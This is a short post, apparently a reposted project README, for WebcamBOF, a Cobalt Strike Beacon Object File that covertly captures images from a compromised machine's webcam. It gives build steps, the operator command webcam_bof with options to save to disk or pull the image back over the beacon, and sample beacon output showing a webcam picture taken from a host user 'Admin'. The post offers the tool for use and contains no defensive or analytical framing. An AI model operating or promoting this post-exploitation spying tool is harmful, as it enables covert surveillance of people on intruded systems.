WebcamBOF - Webcam capture capability for Cobalt Strike

1739877419244.webp

Webcam capture capability for Cobalt Strike, implemented as a Beacon Object File (BOF)

Self Compilation​

  1. git clone the repo
  2. run make

Save methods:​

  1. drop file to disk
  2. download file over beacon (Cobalt Strike only)
  3. download file over beacon as a screenshot (Cobalt Strike only)

Usage​

  1. import the webcamBOF.cna script into Cobalt Strike
  2. use the command webcam_bof {filename} {save method 0/1/2}
Code: 
beacon> webcam_bof sad.jpeg 2
[*] Running Webcam BOF by (@codex_tf2)
[+] host called home, sent: 35817 bytes
[+] received output:

[*] Initializing webcam
[+] received output:

[*] Device 0: HP 320 FHD Webcam
[+] received output:

[*] Capturing image data
[+] received output:
[*] Downloading JPEG over beacon as a screenshot
[*] received screenshot of Webcam from Admin (328kb)

Note: the following error

Code: 
[*] Capturing image data
[+] received output:
[ERROR] ReadSample failed with HRESULT: 0xc00d3704

usually indicates that the webcam is currently in use.

Notes​

Why did I make this?​

Cobalt Strike did not originally have a built in webcam capability, nor did open source alternatives exist to my knowledge. And it was a fun (not) idea.

 
Click to expand...
Back
Top